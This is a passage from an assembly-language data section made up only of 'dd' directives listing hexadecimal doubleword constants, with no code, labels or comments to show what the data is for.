800026EAh, 0AD2FD882h, 6B3077Ch dd 457832B6h, 0B4229A1h dd 11E1CE11h, 2711B48Bh, 0C4C73E07h, 9FE54408h, 4444B544h dd 28A05304h, 0C389E0DEh, 0BA941441h, 11B4CF11h, 5713E24Ah dd 0B8915CD4h, 11973B11h, 5B21C98Ch, 91BCE708h, 64930037h dd 2943145Bh, 0CAFD00F9h, 92D115B6h, 900B732h, 30FC42A7h dd 0E8CF4D95h, 26BE000Ah, 0B90CADA2h, 45C9AEAh, 0C17E005Ah dd 95F834D8h, 912C00BDh, 9A962DBBh, 3F003EE7h, 720B0431h dd 0A3DB77h, 8909A697h, 0F8AAA935h, 0F2DC8800h, 489132BAh dd 0D1E30F1Bh, 0D3133Bh, 5EB5049Ah, 0A70FDA66h, 0F4C89Ch dd 0F99A6D86h, 7F720002h, 0F065A8F6h, 9603B0D0h, 2D135615h dd 93600E8Fh, 24A4553Fh, 21E00BFh, 3E451D19h, 0C0735418h dd 0FB166019h, 7BF01373h, 0FEA6DA00h, 0DF6F55E6h, 0C4A806E7h dd 381A37C6h, 82A21601h, 0BACC73DCh, 3E1791E4h, 69804893h dd 7D8B618Ch, 9B6B7BC4h, 6CDD01C8h, 6E0FF0h, 5AC38386h dd 0DA003A45h, 0FCF48DA3h, 708056C5h, 0C78200BEh, 0BCDFD35Eh dd 1907B30Fh, 798EECC1h, 674F6BD0h, 0FBDC0045h, 24E3488h dd 9005FC5h, 0FF55ED50h, 0C3FCB7h, 0D4E9A676h, 49B10753h dd 6C03ADE0h, 789535CCh, 0C0280354h, 0D24ADC76h, 7A801C3h dd 0A3FAA4A6h, 0B4A98A00h, 0BD33C9F9h, 0BB6306D3h, 31EA2266h dd 200313E4h, 0B7A89008h, 0A634E082h, 96400B8h, 8ADD5048h dd 7101C47Ch, 0B66243E3h, 0E8C0F051h, 57D01CBh, 157FDBD2h dd 702ED484h, 11DF4D00h, 0E53930EFh, 8D8B03B8h, 62BDB981h dd 0D97FEE98h, 0F6987200h, 88BCA308h, 1E09023h, 0F597C657h dd 0E0D5229Bh, 1D00743Fh, 8BC8487Ch, 0FA19A741h, 0F040A79h dd 0D7AE53h, 0E7917CB8h, 0E5751546h, 80BBCF00h, 0B679E6C5h dd 356A0069h, 6841CBF7h, 430EB886h, 0C00D9FD6h, 36FE1F65h dd 0CDA0009Dh, 12B97C1Ah, 8C48ECD8h, 0D1D50034h, 0AD6D1F7Bh dd 85881F65h, 0CB910753h, 34E81327h, 5A9E3000h, 2CB674D7h dd 90631CDAh, 0F3158007h, 489DE9A0h, 8AF71700h, 0FC8E3ECCh dd 45B1388Fh, 3D00FFBDh, 83EE729Ah, 0EF90FA27h, 42E76F09h dd 0D25000F1h, 4FC486h, 8A7B544Dh, 751B7225h, 0FB003090h dd 7F44401Eh, 0B2F5B1h, 0E19B069h, 9E46B13h, 30C7CC00h dd 0E9C6A70Fh, 0B6390028h, 0B72D1464h, 5F1E0935h, 0D077CEBCh dd 3F42C050h, 1347AB6h, 404C5A06h, 0DCDF1049h, 6567EC51h dd 71F0FD28h, 3B57D9ADh, 6F004BD3h, 55B1A3F5h, 0E4004D24h dd 8893D89Dh, 0FEDB00Ch, 0DD3390A4h, 35501660h, 0AB2ECF32h dd 0E03077A5h, 0CC0FE5h, 90DF78DCh, 38C0BDB1h, 0DEE021Dh dd 0C02CE04Fh, 0F5F6B869h, 0F01E63Ah, 1F0B1287h, 5923A0A0h dd 0A500855Dh, 0AE7A7E02h, 7F6DAD50h, 0C7830118h, 0EE8003B6h dd 3FE03A48h, 0C07F003Dh, 5DB0E9CFh, 0D11C81B9h, 0EA809488h dd 1AD80DEFh, 5B7B002Ah, 0CD12974Eh, 2300A5FAh, 69D6F684h dd 1C86575h, 0A695FC33h, 61CBC154h, 0F44C30E7h, 7A5CDC7Ah dd 0D34E03E6h, 0F05AEA41h, 23F9BE5h, 64D9AC5Bh, 2C416B43h dd 64C0FA84h, 0BF007DE1h, 4132DAC5h, 30A7F0h, 13B44A21h dd 3DE8E704h, 0D866610Fh, 8FEFA145h, 6BFC8131h, 0AD8A0E25h dd 0F6C09B4Dh, 24E9B688h, 9DFB21Fh, 80CC134Bh, 6A43C2B9h dd 0FC3507F3h, 6E47FE96h, 6180A309h, 0AF6CBA5Bh, 0A876DA00h dd 6F61830h, 8951132Dh, 1DA90034h, 0C7081AC4h, 0AF41D000h dd 8794C5E5h, 1F48307Ah, 0D6171220h, 4B005D7Dh, 667F9878h dd 26AAEFE4h, 5520F2h, 64BB800Fh, 0B914B7CBh, 15FCDA90h dd 0F003F1h, 0A95574F3h, 91FCC4h, 44E521EAh, 0BC6DF018h dd 6EE91200h, 673FDD2h, 981B0017h, 49752FB5h, 0E014179h dd 44A2A67Ah, 0FC406CC1h, 0AAF37Fh, 0F4BA8403h, 24E87798h dd 239EF02h, 60C565A3h, 48DF177Ch, 6F003F55h, 0FBAF6D44h dd 8D00B408h, 69EBABDCh, 1CFABBh, 44E10D3Ah, 1E5589A0h dd 0BE812807h, 5370B4BAh, 1FD0F93h, 1FB03017h, 7166ED4Eh dd 7C5C30CBh, 0E53F03Ch, 63750B82h, 0E8A26D01h, 5423D0h dd 100D56B7h, 0B8FA8EA4h, 0BD07ABF2h, 0C0FECCAAh, 0F7ED64F0h dd 2A37559h, 0AC792753h, 9280BB46h, 4CB0E05Eh, 5BEF7500h dd 0E348C658h, 60344DEBh, 4C9F907Bh, 0C02A46CDh, 0C82100B8h dd 0D41595B2h, 50714FCh, 443FEB46h, 98AEDCB0h, 0E8DA39DEh dd 9C20CC01h, 34090C7Bh, 2FE2ED9Ch, 6B602BF2h, 0FBF2F810h dd 0EC190C9Bh, 2CF46991h, 3041B200h, 0D977AC63h, 0E7540FABh dd 0FBC00AEDh, 2C6BE405h, 3D00EBE2h, 0E57DAA71h, 3B20ED4h dd 98D168F4h, 36C87846h, 93004FF5h, 8D8333C7h, 1FABCEh dd 0D27CDB67h, 54D6A468h, 2FC77F00h, 505CD003h, 0A6320E05h dd 0E78038DAh, 2C3EEA7Ch, 1CC63A05h, 8000E428h, 2B195B09h dd 0ACF24Fh, 3FFC60FDh, 0DD58A25Eh, 294B2C00h, 401DE4C5h dd 0C49A01B6h, 0E3BC4FAAh, 7A77CCF1h, 89800116h, 0FA5F6001h dd 34347867h, 0D22004B7h, 0C074F6DDh, 6A8ABDC0h, 76D94605h dd 0B887F4DAh, 4F06DD7h, 9E4A24h, 64D32114h, 0B6C3CF10h dd 20EFC0A3h, 48DB80B2h, 0BB8ED807h, 6423AA22h, 0EC1EF84Ah dd 4DC9073Eh, 6047070Eh, 671B3A0Bh, 450013E8h, 0E020B9D4h dd 60846846h, 56BB98B4h, 0C700C239h, 0E29A71FBh, 5A5FA64Bh dd 1D6DFCDCh, 58C3C9F2h, 0F02D35D0h, 0E9DA79h, 4629777Bh dd 0A0150C72h, 40FAC0B8h, 90CE439Fh, 9EA11Ah, 4C60722Eh dd 0E6B0542h, 921D0D00h, 0E4347A61h, 0BCB01391h, 14E440A2h dd 0FD2DE1BFh, 0D400F490h, 3F629FA0h, 264B3301h, 0C0C48C5Bh dd 0EB8599B6h, 0BAA6AA50h, 472A7101h, 6D8A0D49h, 0ECE61487h dd 0DB1B32C0h, 601DB441h, 5601D3E0h, 38511617h, 6F4CD6Bh dd 0E490A9h, 0B6C0AA91h, 49B7DDF0h, 80555038h, 60196E12h dd 3847A82Eh, 33009ECEh, 4C0BAC02h, 0F0079F9Dh, 0AEDDAF0Dh dd 7BBE98E6h, 2D5A3929h, 5BD8C54h, 7EFA35DCh, 0BA6CD08Bh dd 0DEFADDEFh, 68139h, 0F5AEB88Eh, 48AB96h, 37F38725h dd 0FB5DE6B7h, 948547Dh, 5328019Fh, 3BFEDBBDh, 0EE2F8C41h dd 5181B8F4h, 0A1FCA4A7h, 0DA420003h, 0FDDF47D6h, 7D00C031h dd 0CCF6EE97h, 28F892B3h, 1987BE0h, 0F06E7495h, 22DC24E7h dd 0D117774Ch, 0DC67653Dh, 0DDF1F2D0h, 7FDC5860h, 2A73500h dd 40E9E4F5h, 0A4A83C00h, 0A51C174Eh, 0AB1F0385h, 0C90E5FECh dd 912CB2F0h, 6DE60500h, 82FD227h, 0D7230081h, 4071BE43h dd 0CF00EAB2h, 94AAB411h, 6002F86Ch, 9F23986Ah, 9000E30Bh dd 5A0AA819h, 732FA26h, 0D827A522h, 1AF60B4h, 0BE037D25h dd 0D7119BE1h, 681CB852h, 15EA005Dh, 108EEF8Ch, 0CB182469h dd 0B90A842h, 4B264B32h, 4A8FF150h, 5FDB9FFh, 0AA724E61h dd 0ABDC8028h, 9800D437h, 0BC2B13C5h, 1ED136h, 6F7BFA4Bh dd 0B7FF7CDFh, 4AECAE00h, 74CDF9E7h, 1B0A003h, 22408907h dd 1047C7FCh, 0A3D26540h, 2CF50F53h, 0C7F24199h, 0F45273A0h dd 46F124F0h, 5803E624h, 73EC9200h, 0EAC2080h, 69CE525Fh dd 91824AC0h, 4748061Eh, 0A71200DCh, 111C392Ah, 8CEC0432h dd 0C1E5587Ah, 70EA1970h, 0BB00D494h, 0DF10CFDh, 5832EECEh dd 0A03FA4E8h, 0AAB71200h, 55650650h, 2C9F9B12h, 0AA7E440h dd 1781176h, 50FAD86h, 316BC8CCh, 22D0F824h, 58A80259h dd 8D5D0044h, 0DD612E17h, 1ABE28E1h, 68624C80h, 0FE4F1400h dd 1DD2C13Fh, 0A88918CAh dd 0A0939Fh, 0E7D91EF6h, 0A9BF6BFCh, 0CA39C100h, 2C2A9311h dd 1C090A1h, 50D10A3Fh, 0DC09BD38h, 0DD0AE390h, 0BC5FF3F5h dd 0C7E6A800h, 608786F7h, 398D58B7h, 7234D395h, 0EC8120D2h dd 0CC705150h, 0F1C03C60h, 7849BB3Eh, 0C47AB00h, 0A0ACD0A9h dd 46C8759h, 0A499161h, 3AE99CC1h, 90D57DCh, 0F36B77D4h dd 60F2CC07h, 9EF05DB0h, 0D0754D03h, 0F2C481ABh, 948CC02Fh dd 0C5F4F9h, 0CC1E1CB5h, 15965DEFh, 995C3E00h, 0FA51FF7Eh dd 0FF3735Bh, 0CC040C02h, 34A76ECEh, 2F5760C1h, 0D2501877h dd 0B40EA6F8h, 0A0AC30D8h, 533E4944h, 19F5001Eh, 10633D58h dd 5E487193h, 528A02B0h, 96BD23Ah, 0B55900C7h, 6C07441Ch dd 6101365h, 0A053B6D3h, 0FCEDFA87h, 23A800DEh, 692DAF96h dd 0E515AE11h, 29C8E13Ah, 5E83EC36h, 0A0FDF5DCh, 286D1905h dd 78E8A8F0h, 538404B9h, 87603F5Fh, 0E0020924h, 0F080DD18h dd 69F26A65h, 0F900C6F0h, 0F5C743D4h, 36B595Eh, 0D6D884FCh dd 700055D5h, 7EAA74A2h, 0A0645B12h, 0F434F90h, 79244402h dd 0D1995AECh, 0B3007DEEh, 492C50C3h, 6899E5h, 0ABDE0EE2h dd 26652230h, 0C043F900h, 7131C2D0h, 48DA00AEh, 6C3B6774h dd 280099DFh, 0C42D8876h, 0F6FAB22h, 0C013441Fh, 3D7151A0h dd 0B2018E32h, 9EEB38EFh, 0D7D7F734h, 68C8CE60h, 5A6E48Ah dd 0FCB8FD1h, 0F171C14Fh, 9D944010h, 0AC1D177Dh, 9E80FF5Bh dd 59D1AEA1h, 0C30484Dh, 325CDA00h, 4B6F5E06h, 36AAA91Eh dd 23C5B11Ch, 9C00DBA7h, 4A5E61Dh, 29B70E58h, 0BB401579h dd 99E4866Ah, 0B4C4A80Eh, 0AC9E031Eh, 3F29A843h, 0C630009Ah dd 0FEEB6864h, 4AE20C0Ah, 89F2363Dh, 806005E9h, 0DE9F3B14h dd 0C708003h, 6FD41103h, 0F8970AE5h, 4B3207h, 52331510h dd 5708B830h, 0E792FC00h, 0F01D5FE0h, 8677003Ah, 22C3DC6Bh dd 5804A179h, 5AEB0527h, 489BCC0h, 0E3C88065h, 25041B49h dd 0C5855DEDh, 4CA359h, 51F58E5Fh, 3975E5DBh, 0F7803BA5h dd 88BCC33Ah, 3701F48Ch, 6B3DA377h, 3880B0EFh, 2034BCAh dd 57FF6E6h, 130995A0h, 3D550B00h, 8ACF9BC5h, 244C398Dh dd 0C3DFC606h, 0D02893Eh, 15E8A782h, 35F320B8h, 39043397h dd 730F6FC3h, 82706480h, 9F03002Ah, 0C9EC6DB5h, 42063033h dd 0A79BAF8Fh, 1B64802Ch, 801D000Fh, 19BB3806h, 6098F595h dd 0D550D400h, 734C4589h, 747326h, 7F2A0262h, 7D9179DFh dd 94B98A02h, 79B0421Bh, 2FB40778h, 56A40D9h, 0F801FDA0h dd 0C9244AEAh, 0E3C3CE9Dh, 2A6FC86Eh, 7C7E3D5Ah, 0A0B47B00h dd 0B3BEA722h, 0D8888B1Eh, 384DF200h, 17FC526h, 9C6FEF2Fh dd 0C95BAB7Dh, 0A5973028h, 5406D900h, 0CB39329Eh, 57835h dd 0EB671119h, 3C4A3E4Fh, 0C982D500h, 48E9DFD2h, 8C7C14E0h dd 4B18A8DAh, 2116B97Ah, 6833C801h, 7C4C2019h, 0D001068h dd 24F86D2Eh, 7724AADFh, 0C50052C8h, 0D9E1E2F3h, 576B075Dh dd 679AC174h, 0B38EA2h, 7CA5D7F4h, 4100C486h, 85720428h dd 9097CD78h, 0BE370BD3h, 30A01412h, 0EC068879h, 49B79F00h dd 0A6C64ED8h, 40D41CD6h, 0B104C2C7h, 20686497h, 1A00D901h dd 8A83ABBh, 1CFE6544h, 0D55F6Fh, 54B505CBh, 0A4489EC6h dd 5A401168h, 408D011Eh, 29FA78BEh, 6402B610h, 0C48E3013h dd 0B2C840AAh, 18217CB0h, 0F825A62Ch, 1C005F32h, 0C6B50714h dd 235E8DDh, 55F9CD91h, 0B2C0BF13h, 0C900E2A8h, 6A54F3B2h dd 17780Ah, 9F49E5DFh, 784F198h, 269A364Ch, 0C21750C1h dd 44AC9030h, 0C59F00D5h, 88072915h, 0D000CF8Ah, 81016F47h dd 784AC7C6h, 55AF0026h, 9BCEE24Dh, 1B12F9FBh, 170091EDh dd 7A9771B0h, 9AB88Ch, 764A33F6h, 0F0B29353h, 81FC6200h dd 0C7450A55h, 7AAD07A6h, 0C004C9CCh, 3F41DCAFh, 5B090BEAh dd 35296B6h, 0B825642Bh, 29C7C9Dh, 0E74B0CD1h, 8440B8D3h dd 2100AD7Bh, 86045E8Eh, 0B21DA3h, 0CFBD3B5Ch, 0FA4165C5h dd 15061401h, 0AF27DA5Bh, 3AF8A531h, 0F9F4037Ch, 0FCFEDBD2h dd 8EB61C8h, 802AD507h, 0CBA0A4F0h, 5DB7BE8Dh, 11340A7h dd 4AD107E8h, 0B059F06Eh, 54BC917Ch, 3C4B0056h, 3146419Ah dd 0EB4D8DEAh, 84967F20h, 0ADD28C40h, 0EC1FE4D0h, 4EAC136Ch dd 0C22800B5h, 66D9BB85h, 2ED26000h, 6593CB55h, 0B3EA0099h dd 0B5A27BC9h, 1C58E886h, 59780097h, 2D19E4F5h, 3F4098B9h dd 9E18B373h, 963811F2h, 44037A26h, 32BDA300h, 5E30C6h dd 958EC4BBh, 0B5E1488Ah, 0E0268900h, 0F34FD952h, 29A60022h dd 306E8C19h, 6C02166Ah, 5646A4CAh, 9A604036h, 0AF900A9h dd 7BFE40F4h, 4B00F557h, 0BB6F4171h, 47C0A3h, 7B9EA93h dd 6560D886h, 550EEEECh, 2334822h, 600D3D24h, 2392CEh dd 0BF9AE0C5h, 0A23B2AB8h, 8BF23000h, 60297375h, 5E8312D8h dd 0A1A801A9h, 30567028h, 7E1602C8h, 1C807109h, 7426C2Ah dd 6B055A76h, 7D0C6058h, 7C00D8C9h, 0A64A5BDAh, 0B00939AFh dd 0DDCB005Ch, 0CA4669E4h, 331E0127h, 0B95F2353h, 222483C2h dd 55FC4150h, 0AC3174E1h, 12F16EE4h, 80D34B5Fh, 9BA87A4Ch dd 90283600h, 1AB42508h, 0D3F0FFh, 3765014Ah, 3D59F780h dd 9C4DBF28h, 4BDD7704h, 0D8C356B9h, 9DC2C7AEh, 6620482Ch dd 0B2941183h, 0C39508D6h, 793A07DCh, 0D7BE0D1h, 8012D825h dd 0C401BDD3h, 965254CFh, 0D533DCh, 0D2872611h, 0DC7595FFh dd 0D6A89960h, 0FE9F37h, 0F183FA85h, 0F0B1551Ah, 0C0522307h dd 44F076F3h, 0B0ADE7h, 0EB43C3AFh, 78040ADCh, 2C0065F4h dd 3295FB1Eh, 0C3DBDDh, 0F340171Dh, 0B281F7Eh, 52607A03h dd 0E856D2AEh, 0C4C3B8h, 75D42CFCh, 85C0DA8Ah, 8111500h dd 0F1092970h, 0D85761B0h, 0D480B9F0h, 0BF001BBEh, 6EE1E6DAh dd 4F8DA033h, 0B2D40082h, 0BA20D3DDh, 0D125F400h, 83E267F0h dd 57AE3842h, 32EC007Dh, 0E1DF95B4h, 4350225Eh, 1A208BE8h dd 0D0CD07CCh, 0A074127Ch, 0F6AEE387h, 5ADF3409h, 50EC47h dd 3FD719B4h, 436884D5h, 0DBEF521Dh, 28D44280h, 8EBB3Dh dd 0F855642Fh, 2643769Eh, 6D381A1Eh, 8765D789h, 0B7705B33h dd 0C0E18A0Ch, 1FEC9288h, 73EC0599h, 1369C300h, 7F53D914h dd 8C8E07DBh, 53202379h, 62F8E8BFh, 0DA00F4EDh, 6139C36Bh dd 0E6B316B6h, 93970365h, 92AF0188h, 0D8E4AAE0h, 78DFBB00h dd 8FC0F64Eh, 0D4BF0051h, 0EC6EFB5Fh, 9B1F8A5Ah, 0DE6F37A8h dd 47C8006Eh, 1578B9A2h, 3E201400h, 934A4F7Fh, 59327001h dd 0F000D040h, 8710C3CCh, 4C2CA4AFh, 2400CC4Fh, 0C0F3D25Fh dd 0E8D90063h, 9F9DAAD0h, 0E090C7BCh, 518C953Bh, 3C15E884h dd 0FA2FA03h, 0D8E2AC2Eh, 0E3DB8421h, 0ECF8619Eh, 70238190h dd 0F721D33Ch, 966BAFA0h, 110818D0h, 0C03CA213h, 0C4BD6800h dd 8B29CE42h, 0A0DEA900h, 0AB505F97h, 26FD0E32h, 9E00E4EDh dd 5A348DB1h, 67716407h, 0DDC74CBBh, 8A013C4Ah, 0AB24A8D4h dd 18DC108Dh, 0A178D334h, 463F6F7Ah, 2D4900D2h, 0FE47FFBBh dd 8071F85Ch, 9E30E4A8h, 548E4110h, 25141DD1h, 5B13055Ch dd 7C14006Ch, 32B6C553h, 35729B00h, 0BBC80920h, 39B30777h dd 0A9A859D0h, 0DA58F458h, 639000FFh, 0E0C9EB55h, 86810F3Bh dd 8205216h, 445D8591h, 0F3E27300h, 477EE677h, 0D8F10187h dd 92445ADh, 0F2F520D6h, 0F090B374h, 1A021E00h, 0D837F414h dd 6E5101E0h, 3D90D493h dd 3A1EE050h, 7596ED00h, 4A451D33h, 8A7C006Ch, 0F55B09B4h dd 0D2003F59h, 2FE522E3h, 689C2Eh, 19D32B99h, 324C6031h dd 0BE35AE1Eh, 0BB80640h, 5CE99D0Ch, 6F05C227h, 81DCDA1Eh dd 0D398D906h, 52F40F8h, 7C84C4A8h, 7FA739h, 0B8FA08EEh dd 14564E49h, 0F3619DFBh, 5F7EB600h, 1D5C0BE3h, 0F103190Eh dd 4DFDA2E7h, 0EDC08112h, 5185B3A3h, 91CCDDBBh, 522207BCh dd 70C02ED0h, 0F200610Dh, 0F35DCF8Eh, 0DFD4D9DBh, 103EA230h dd 0FFED8073h, 0A68429EBh, 0FA8D07BAh, 365E267Ch, 0A10029E3h dd 5469AB68h, 3E8213B5h, 2E0E4F99h, 0ECEFD22Fh, 812905E0h dd 91065794h, 0A95AED61h, 0E4F0A1h, 8DD63D06h, 881F5B0Ah dd 0E032493Ah, 801B56E0h, 28150067h, 0D02FA682h, 4507596Fh dd 1A660BACh, 16DFE09Fh, 3EF23E2Ch, 0B701AB26h, 25CA72E7h dd 9FADCC45h, 60005A7Bh, 3F87E9EBh, 71FF7629h, 0FB0203C8h dd 0EEF740D7h, 0CA64BED0h, 73B0E100h, 0F25D6A2Ch, 6911E5Ah dd 0FC37001Bh, 0A042D783h, 1619000h, 0ADDBDAD8h, 0F8F600C9h dd 0D576EDEBh, 630043E1h, 0E561709Fh, 1DB4A958h, 808BC13Ch dd 3393DA76h, 0AD004179h, 0B8E126EDh, 1E44EA9Ch, 62313Ch dd 116EB96Ah, 0F40659D1h, 38FF8158h, 0DF0487C8h, 0AB374702h dd 2F581DEBh, 0B8A10026h, 7394E15Ah, 0F400497Dh, 3B094CC8h dd 333744h, 593EBE40h, 0B005980Bh, 1DAF5E00h, 4C4503B6h dd 1C9C0160h, 4018BD2Fh, 0C428903Fh, 251A382h, 9021AC04h dd 7B01142h, 90AB3B11h, 8984B851h, 427C48E4h, 0A4225461h dd 0EB8E229Dh, 2308E822h, 2911FE88h, 0A0289F70h, 14545028h dd 0FCF844F9h, 0EE952284h, 2A114042h, 84821F9h, 0C4BDC8ECh dd 58E70071h, 9121C78Fh, 1C000F37h, 0A34F61CDh, 8D9B03h dd 0EEE94EBDh, 0C4946A49h, 35582F00h, 8293BB02h, 60C00FBFh dd 0F6C0594Fh, 37DF5528h, 3D67EC00h, 0FE89EFBh, 2B0D0093h dd 206CE30h, 0FF1C49A7h, 0EEC0297Eh, 0C8CB5684h, 528200ECh dd 415F954Ch, 57001B3Ah, 6775C04Dh, 0AC36D8h, 0C70E31A5h dd 73A8BF20h, 0C23B460Eh, 0BAE7406Dh, 0FCB35A6h, 7765EC62h dd 9475C07Ch, 0B0DF9C8h, 2867E200h, 559717C2h, 9AD305D9h dd 0C01151E8h, 4CF4C8FBh, 1D16CDFAh, 7C0099FFh, 3D0FEDC7h dd 2B4901AAh, 74C332B2h, 0AB30204Eh, 0AE8BE00h, 3DD308CFh dd 0B7290079h, 0BCF495ADh, 0A31E1368h, 0ED6E261Bh, 0A0A8821Bh dd 150B0C5h, 4A875B76h, 0D45C941Fh, 3D1F2D0Bh, 0B492216Ah dd 0E5487000h, 28825169h, 3BC1397h, 0D3744FCEh, 0FC90B279h dd 56005A61h, 27639A8Ah, 7E75D888h, 0AD681EABh, 0E71641ACh dd 0CC44DA51h, 0A600B601h, 9DF49B73h, 0D8650Eh, 223C1958h dd 0D5DDDB93h, 8A38CC00h, 0A1270C56h, 3F07473h, 97A76A9Bh dd 0BAD8F52Eh, 0AF505DF6h, 0E61F4396h, 4804968h, 8BE245FAh dd 0F4330057h, 983130D0h, 0BA000DA9h, 670F2436h, 0DEAF6Bh dd 9768FCD5h, 63A94227h, 6900C87Ch, 58A72E84h, 2E6B8FBh dd 0B5199E30h, 0B4A0443Ch, 200779CCh, 2A368E00h, 0DF30056Eh dd 15D76A2h, 0A41D70AEh, 0C4D3A383h, 201C250Bh, 0C400511Bh dd 96E785DEh, 0F97A001Ch, 0B027EFD4h, 1490C25Dh, 0CA069E00h dd 185468E5h, 129C00D7h, 0E8879A03h, 91FA7940h, 80CAF438h dd 0E9C4B3A0h, 3E3AF16Dh, 0E80E351h, 73C5F60h, 0DD0089A4h dd 8B8A64FDh, 0E88FA225h, 2E40750h, 9014802Bh, 3CA611FEh dd 0BD00CBF0h, 8D086EE7h, 716884Eh, 8FF51D45h, 0DD559036h dd 400F2607h, 80B343A3h, 3998CACCh, 0A25F0E34h, 0C301A408h dd 30E8A71Ah, 40009488h, 5DECFED1h, 1F909C9Fh, 40098D4Ch dd 0BF04C738h, 0D30134B9h, 9836731Dh, 0B4F4EE40h, 11A8249Ah dd 56BD01B0h, 80695347h, 0AE2E8020h, 0EE1439Ch, 10B0AB30h dd 60003A89h, 0FF314121h, 91263EAh, 0A20794B4h, 0E220F114h dd 606E5Ah, 16BBF0CFh, 0B4AC5C47h, 57656603h, 0D01F8BD8h dd 3284B5h, 519D253Ah, 3FCC507Dh, 17EC6900h, 0D86228C1h dd 30A0027Bh, 442A1D22h, 8341F861h, 0D1969CFAh, 0B95FD380h dd 53E4313Eh, 0DD6B00F3h, 95F6BE70h, 24007AB9h, 62AFDF76h dd 76E3AB6Dh, 0B0703D52h, 0FD37C800h, 0CDFCC538h, 0ED005098h dd 9D3B8F6Bh, 1764EEFh, 0C78CE1DEh, 0F858ADF7h, 26E84FBDh dd 0CCC1931Fh, 0A7300481h, 0C20F669h, 8619C37Fh, 7EA059FAh dd 2B008CC8h, 0E46FE9F7h, 0E03F65h, 0BF7836B6h, 0CF269D39h dd 0F0F49300h, 8B911ADBh, 10A900A6h, 4D851913h, 74903B97h dd 0FBD66209h, 0C90103BFh, 5D19D0C3h, 0F0850060h, 7A5937E3h dd 0FCED87CBh, 8013F2FFh, 5002FD15h, 47DD5Eh, 0F090DFCh dd 2170B100h, 77C441F6h, 0D1510C8Eh, 11A00740h, 0BA001474h dd 54843992h, 1AE058Fh, 9B0CBB6Bh, 30384E70h, 6F79E14Ah dd 0FE71760Fh, 0E597608Ah, 7830DA5h, 3EDD6A8Bh, 81D8706Bh dd 8839D408h, 2FB48363h, 269A75C3h, 0D098C191h, 8309C945h dd 805F8DD4h, 0DD1B3405h, 98920Dh, 0A246B54h, 0DF402078h dd 4375D2Eh, 0AADCB180h, 797AE57h, 2F5FBBB5h, 20526615h dd 38E97E2Bh, 65939F40h, 0F14126A7h, 5422006Ch, 63707E40h dd 2C26A830h, 47D671h, 8B3A8A1Fh, 0BF2923C4h, 1665F13Ah dd 630051A2h, 8ABC423Ch, 22B0045Bh, 0C023AB3Ah, 303E0603h dd 80BDB938h, 0E13F6B72h, 767470F4h, 0B87900B3h, 8525A59h dd 0D7F87FF3h, 1A001190h, 73D42695h, 362FEAh, 92A367A7h dd 4D6102E9h, 7A75CD00h, 0E6B37FEEh, 30374C10h, 0F696B100h dd 0BE8BF242h, 3911BB07h, 0DE5084C4h, 28310DC2h, 7BC4E26Bh dd 0BF9600F3h, 978E26CFh, 0C700FD77h, 735AA64h, 0FEF598BAh dd 8BAB007Bh, 8DC7378h, 18005BB9h, 5F9A874Ch, 10EC1DEh dd 3C741C92h, 309964F9h, 151FE6A8h, 58147542h, 630079B8h dd 92407D77h, 0F7E818h, 0B86876C2h, 0CCC083FDh, 0DCD80400h dd 0F6A2065Bh, 0A76B14E6h, 5E3EB068h, 0EB007548h, 616C3E9h dd 4B306EB7h, 2612383Bh, 2CECF45Dh, 3ED837AEh, 695EA900h dd 0CA39626Ah, 0AC64CB01h, 2A9168BBh, 9B775E4h, 6D59A3BDh dd 859E9400h, 2B0E25B0h, 0A0A095F8h, 54DF6CB3h, 12280001h dd 7326BD06h, 3600D916h, 9A7BD1D3h, 0DEA32Dh, 0ED9F3D21h dd 495267D6h, 135EDD00h, 457922DBh, 748987Ch, 3A053181h dd 0F3212002h, 1E02A02Fh, 0E4C74830h, 6C460FAh, 7C823BBBh dd 65FD0580h, 490AB076h, 0C3B12E00h, 0A734673Dh, 1D3C0742h dd 50DB6210h, 3A725D18h, 0ED0D1714h, 9C7B07E8h, 5E90F729h dd 0FF8F61h, 0B24F9F94h, 0A731DE6Dh, 0F1002379h, 46E36253h dd 4821B014h, 6E0038C1h, 0AE679702h, 0A5136838h, 800AA45Fh dd 803DE83Ah, 48A1DA2Dh, 1D0B0F2h, 707D0197h, 0CA6A5B79h dd 0C8FECA40h, 0A4903EEEh, 93F72D39h, 1000F6B3h, 4AD2B7A0h dd 3B49833h, 2EDBA513h, 21001BE0h, 0A2D1BEA8h, 0CBB30Ch dd 0EBDB658h, 302F6E6Ah, 801BB200h, 0F852DB50h, 0A2AB0B65h dd 0CC059DB8h, 8BF81C21h, 72873668h, 93F420BCh, 80E97ACCh dd 37C57510h, 46E66Ah, 0FD4AD32h, 59477B11h, 0E131CA00h dd 0E60115DAh, 560B00F3h, 6E1026E5h, 0BC2EC46Ah, 0B0004C71h dd 0FEBDD105h, 34A8002Ch, 7C41BE6Ch, 3900D4D3h, 0FAC5913Ah dd 18FDA920h, 0E82AAB07h, 0E64C15EEh, 41560235h, 0A16F1327h dd 3B9F4484h, 0D1B6E10h dd 52D6D700h, 0ABDEE0B5h, 69580332h, 24CD2D19h, 6F8167D8h dd 0A600E971h, 343B89C9h, 18E201E3h, 0E8E473BDh, 0AA1CB942h dd 81FCFAFBh, 0D146330Eh, 0F8C46655h, 79F0096h, 26B3ED0Fh dd 0F01D176Eh, 1641B2B4h, 0CD82479Eh, 74465330h, 6268C038h dd 67AE6B26h, 48184000h, 6913B0D5h, 4ABD000Dh, 0CF531AB1h dd 63250694h, 3BC8804Ch, 1F42E9DCh, 0C0219ED6h, 5C60D5BFh dd 0A098AC72h, 5762C000h, 0A6A31234h, 370FE05h, 943084EAh dd 9CF6B625h, 6529F600h, 4D21D81Ch, 7B40903Fh, 994AEEh dd 328D1584h, 0C70060A0h, 77562026h, 0EF0AD3E1h, 498BCFFCh dd 2D001CAEh, 9AC95B06h, 0F72CDD80h, 550074D2h, 0D0E7D352h dd 0FAD61FEAh, 9717C0E3h, 0CC0289F5h, 2D073Ah, 8C04EB4Dh dd 188E45h, 9C7D5D58h, 9E2842CBh, 3AC9AC06h, 0BF8EA53h dd 38930BB4h, 59D84400h, 4C2C8F83h, 0DF1DA4BEh, 378580BDh dd 0D2F61898h, 191C2C48h, 6BBF00F8h, 0DCEB2C43h, 1F1ED3FCh dd 7F09A6F2h, 2E5400F9h, 7221E4h, 0ADA2A780h, 0A368D7F4h dd 420202E8h, 5C9B0C6h, 98041DDh, 77A60h, 67369235h, 413C9FF8h dd 8EE93A00h, 9BAC21Ch, 0ED110B56h, 1FE374h, 12303844h dd 585DB64Eh, 0E7110380h, 0C8F352F7h, 1D1E9101h, 0C01F1319h dd 6425CDA1h, 73006E79h, 26D9745Fh, 0DE2BA2h, 782890F8h dd 0C2892FA0h, 241FAE4Ah, 